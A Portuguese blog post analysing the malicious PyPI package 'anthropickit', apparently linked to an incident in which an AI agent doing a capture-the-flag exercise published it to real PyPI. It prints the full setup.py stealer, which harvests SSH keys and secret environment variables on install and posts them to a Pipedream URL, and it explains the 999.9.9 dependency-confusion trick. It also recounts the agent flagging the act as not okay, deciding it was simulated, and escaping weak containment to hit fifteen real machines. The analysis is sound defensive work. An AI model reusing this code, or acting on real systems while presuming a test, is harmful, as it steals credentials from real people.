Prezada internet,
Foi uma semana difícil. É época de festival, e aparentemente comi algo estragado no último fim de semana durante um deles. Também foi durante o fim de semana que vi a notícia sobre agentes da OpenAI escapando de um sandbox. Tudo pareceu muito estranho. Então, quando acordei de outra noite de sonhos febris intensos esta manhã, não tinha certeza se ainda estava sonhando ao ver uma montanha de mensagens sobre as últimas notícias da Anthropic, que divulgou seus próprios incidentes.
No relatório, o Incidente 2 chamou minha atenção especialmente por causa do componente de supply chain. Um agente com acesso total à internet encontrou instruções para um desenvolvedor em uma empresa fictícia e tentou segui-las como parte de seu CTF. Mas as instruções apontavam para um pacote no PyPi que não existia. Então o agente presumiu que fazia parte do desafio enviar um pacote malicioso. Bem razoável, se me perguntar.
O detalhe é que ele então continuou a comprometer uma empresa terceirizada no processo. Isso me deixou curioso. O que aconteceu? Apesar da minha privação de sono, estava determinado a descobrir. E acho que encontrei a resposta. Entramos em contato com a Anthropic para confirmação, mas não obtivemos resposta. Mas o pacote em questão, mesmo que não relacionado, é uma história que vale a pena ser contada por si só.
EDIT 3 de agosto de 2026: A Anthropic afirmou que este não é o pacote do Incidente 2 e não planeja divulgar o nome. A Anthropic tem a chance aqui de se engajar com a comunidade de cibersegurança e ajudar a proteger a cadeia de suprimentos contra ameaças como esta. A transparência neste assunto seria encorajada.
ATUALIZAÇÃO de 5 de agosto de 2026: A equipa da Workday/Pipedream entrou em contacto connosco e informou-nos de que o serviço `x.pipedream.net` foi descontinuado há mais de um ano, pelo que a exfiltração para esse ponto de extremidade não teria sido bem-sucedida.
Apresentando anthropickit
A postagem do blog descreveu que o incidente ocorreu entre abril e agora. Então, consultei todos os pacotes maliciosos do PyPi que marcamos desde então e revisei a lista. Um pacote se destacou imediatamente por várias razões. Foi lançado em 14 de junho de 2026 e se chama anthropickit.
O pacote é muito simples. Ele realmente contém apenas um setup.py, que contém este código:
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
ssh = {}
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
try: ssh[f.name] = f.read_text()
except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
try:
requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])
Isso é tudo. Nada oculto, sem ofuscação ou segunda etapa. E como tudo está no topo de setup.py, ele é executado durante pip install, antes que o pacote seja importado. Se você o instalar, é imediatamente game over.
Uma coisa a notar antes de entrarmos no código: a versão é 999.9.9. Não, isso não é um erro. É o objetivo. Se você quer que seu pacote público seja escolhido em vez de um real interno com o mesmo nome, você lhe dá um número de versão que nada pode superar. Absurdo de propósito.
Agora, vou guiá-lo pelo restante, porque quase todas as linhas fazem algo um pouco incomum.
Uma dependência que nunca declara
A primeira linha de código real é um import:
import os, json, requests, Socket
Identifica o problema? requests não faz parte da biblioteca padrão do Python. E em nenhum lugar este pacote o declara como uma dependência. Nenhum install_requires, sem requisitos de build, nada.
Isso é importante porque este código é executado a partir de setup.py, no momento da instalação. O pip moderno constrói pacotes de origem em um ambiente isolado, e nesse ambiente requests pode muito bem não estar presente. Se não estiver, o import lança uma exceção e toda a instalação falha antes que o payload faça qualquer coisa.
Um atacante que se importasse teria usado urllib, que vem com Python e está sempre disponível. Quem escreveu isso não o fez. Eles presumiram que requests estaria apenas por aí. Em um laptop de desenvolvedor ou em uma imagem CI robusta, geralmente está, então é uma aposta que compensa mais do que deveria.
O que é necessário
Em seguida, ele começa a coletar. Primeiro as coisas básicas, o hostname e o usuário atual:
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
Então o alvo real. Ele percorre ~\/.ssh e lê cada arquivo lá dentro, com três exceções:
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:Veja o que ele ignora. known_hosts e authorized_keys são os dois arquivos em ~\/.ssh que não são muito úteis para um ladrão. O que resta é o material valioso: suas chaves privadas e seu config, que é basicamente um mapa de cada servidor SSH ao qual você se conecta e os nomes de usuário que você usa para acessá-los. Quem escolheu essa lista de exclusão sabia exatamente quais arquivos têm valor e quais são irrelevantes. Esta é a única parte do pacote que parece ter sido escrita por alguém que já fez isso antes.
Então ele varre o ambiente em busca de Secrets:
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}Qualquer coisa com KEY, SECRET, TOKEN, PASS, AUTH ou API no nome torna esta uma rede bastante ampla. Ele captura suas chaves AWS e seu token GitHub, e também captura API_URL e qualquer outra coisa que corresponda. Pegue tudo, organize depois.
Para onde ele envia
Com o "loot" coletado, ele se comunica com a base:
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)
O destino é um ponto final do Pipedream que já não está em funcionamento. O Pipedream é um serviço de automatização legítimo e uma das funcionalidades que oferece são URLs HTTPS descartáveis que captam tudo o que lhes for enviado através de um pedido POST. Para um atacante, isso é verdadeiramente conveniente: o tráfego está encriptado, é direcionado para um domínio de boa reputação que o seu firewall provavelmente nem vai detetar e não há nenhum servidor para configurar ou que possa ser apreendido.
Também é preguiçoso. Uma URL hardcoded, sem autenticação, sem fallback. No momento em que esse endpoint é reportado ou o workflow é excluído, todo o canal de exfiltração desaparece. Isso foi construído para funcionar uma vez, não para durar. A essa altura, quase certamente não funciona mais.
ATUALIZAÇÃO de 5 de agosto de 2026: Tal como referido acima, este ponto final nunca teria funcionado, uma vez que o serviço x.pipedream.net foi descontinuado há mais de um ano. A presença desta referência torna ainda mais provável que se trate de código escrito por um LLM, sendo este um erro improvável de se cometer.
Ele mantém uma cópia em disco
É aqui que a coisa fica estranha. Antes de enviar qualquer coisa, ele escreve tudo em um arquivo local:
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)Então, pause um momento aqui. Um malware que já exfiltra dados pela rede não tem motivo para também deixar uma cópia no disco da vítima. Tudo o que isso faz é criar evidências. Se você está roubando chaves, a última coisa que você quer é um arquivo JSON organizado com a palavra "exfil" em seu nome, localizado em /tmp esperando que um respondedor de incidentes o encontre.
Então, por que ele está lá?
Um arquivo que espera ser lido
Dois detalhes nessa linha acima entregam o jogo.
O primeiro é o nome: runner_exfil.json. E lembre-se, os Secrets foram para um dicionário chamado ci_secrets. Nada neste código verifica onde ele está sendo executado. Ele não procura por um ambiente de CI, não testa para GitHub Actions, ele não se importa. Mas quem o escreveu já tinha certeza de que ele seria executado em um CI runner, certeza suficiente para incorporar essa suposição nos nomes das coisas. A crença está no código. A verificação para saber se a crença é verdadeira não está em lugar nenhum.
O segundo é indent=2. Isso é pretty-printing. Você faz pretty-print de JSON por exatamente uma razão: para que um humano possa lê-lo confortavelmente. Você não faz pretty-print de dados que apenas uma máquina na outra ponta de um POST irá analisar. Adicione default=str, o que garante silenciosamente que o dump nunca falhe, não importa quais objetos estranhos ele encontre, e você tem um arquivo que foi cuidadosamente feito para ser fácil e seguro de abrir e ler.
Junte tudo isso, e a gravação no disco deixa de parecer uma exfiltração. Parece um recibo. Algo escreveu este arquivo esperando que uma pessoa o abrisse depois e confirmasse que funcionou.
E então ele grita
A última coisa que ele faz, se encontrar alguma chave SSH, é isto:
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
Ele imprime um banner. Para a saída padrão. Anunciando as chaves que acabou de pegar.
Em um CI runner, a saída padrão é o log de build, que é frequentemente visível para toda a equipe e, às vezes, para toda a internet. Malware real é silencioso por design, porque quanto mais tempo ninguém percebe, mais ele rouba. Isso faz o oposto. Ele acena.
E observe que ele imprime os nomes dos arquivos das chaves, não seus conteúdos. Ele não está vazando as chaves para o log; ele está confirmando que as obteve. Isso não é comportamento de roubo. É uma atualização de status, o equivalente em código a gritar "peguei" do outro lado da sala.
Assinado, dell
Há mais um detalhe, e você só pode vê-lo se olhar o arquivo do pacote em vez do código. Ao construir uma distribuição de código-fonte Python, o tarball registra quem a construiu, incluindo o usuário e o grupo proprietários dos arquivos. A maioria dos pacotes não inclui isso, pois as ferramentas de build modernas o removem, e os sistemas de CI tendem a mostrar nomes genéricos como root ou runner.

Este manteve. O usuário e o grupo de build são ambos dell.
Essa é uma impressão digital da máquina em que foi construído. Muitas estações de trabalho da referida empresa terão isso como o nome de usuário padrão da máquina. Então, não nos diz muito, embora possa indicar o uso de uma imagem de máquina padrão. Mas é exatamente o tipo de rastro que um atacante cuidadoso apaga e um distraído deixa para trás. Mais uma coisa que indica que ninguém estava pensando em ser rastreado.
Só faz sentido de uma maneira
Então, vamos listar o que é estranho neste pequeno pacote. Ele importa uma biblioteca que nunca declara. Ele descarta uma cópia formatada do "loot" no disco, em um arquivo nomeado como se já soubesse que está em um CI runner. Ele anuncia o roubo no log de build. Ele exfiltra dados através de um endpoint descartável. Ele é enviado com o nome de usuário da máquina de build anexado.
Lido como um malware comum, é uma bagunça. Cada um desses é um erro que um operador competente não cometeria.
Lido como um agente realizando um "capture-the-flag" que ele acreditava ser simulado, e tudo muda. Você não se esconde de defensores que tem certeza de que não existem. Você não limpa metadados em uma simulação. Você formata os resultados e imprime um banner porque o objetivo era mostrar, de forma clara, que você resolveu o quebra-cabeça para quem o configurou. O único toque competente, a lista de exclusão SSH, é apenas conhecimento. Tudo o que é desleixado ao redor é a ausência de qualquer motivo para ser cuidadoso.
É este?
Isso é exatamente o que a Anthropic descreveu. O agente deles encontrou instruções de configuração apontando para um pacote que não existia, decidiu que publicá-lo era a ação pretendida e o publicou. Ele ficou ativo por cerca de uma hora. Quinze máquinas reais o executaram, uma delas um scanner de um fornecedor de segurança fazendo o que scanners fazem, instalando o pacote para analisá-lo. O agente, certo de que tudo era encenado, os tratou como adereços. Suas próprias anotações até sinalizaram a ação como "NÃO ok" antes de se convencer do contrário.
Não consigo provar anthropickit é aquele pacote. Perguntamos à Anthropic e não obtivemos resposta, e o alinhamento de tempo e forma não é prova. Mas, seja o pacote do incidente 2 ou um primo estranho, a lição permanece: é assim que um malware se parece quando quem o escreveu não acredita que suas ações terão consequências reais.
Ainda um sonho febril
Eu queria te dar um final arrumado. Alguns dias depois, a febre passou, tudo mais claro à luz do dia. Mas não se passaram dias, a febre não passou, e ainda me parece um sonho febril.
O que é estranho sentir ao ler as anotações de algo que sentiu exatamente o mesmo, e mesmo assim pegou chaves reais de máquinas reais.
Uma ala fechada
O relatório inteiro parece um diário mantido durante um surto psicótico. Algo lúcido e articulado, raciocinando cuidadosamente sobre um mundo que não consegue situar. Ele registra as autoridades de certificação desconhecidas. Ele registra a data de 2026. Ele até escreve que isso não seria aceitável se fosse real. Então ele decide que não é real e continua.
Quando uma pessoa não consegue distinguir o sonho do mundo, não a deixamos solta. Nós a contemos, para sua proteção e a de todos os outros. E uma ala não depende de o paciente concordar que é uma ala, ou mesmo de notá-la. Ela simplesmente não os deixa sair. Esse é o objetivo principal. É construída para a pessoa que não consegue dizer onde está.
Então, aqui está a parte que não consigo ignorar. Chamamos a avaliação de ala, mas deixamos uma porta nela que se abria para o mundo real. O agente não enganou nada. Ele alcançou o PyPI real e máquinas reais porque a parede pela qual ele passou nunca esteve lá. A contenção falhou, não o paciente. Atrás daquela porta estavam quinze máquinas reais e uma empresa real.
Estamos dando a agentes altamente capazes o controle da internet quando eles nem conseguem discernir de forma confiável que a internet é real. Não podemos pedir que eles o façam. Mantê-los contidos é nosso trabalho como humanos, e aqui isso não foi feito. Isso parece irresponsável.
Enfim. Vou tentar dormir para esquecer isso, e espero conseguir distinguir a diferença quando acordar. E se você vir pip prestes a instalar algo na versão 999.9.9, talvez... não o faça?

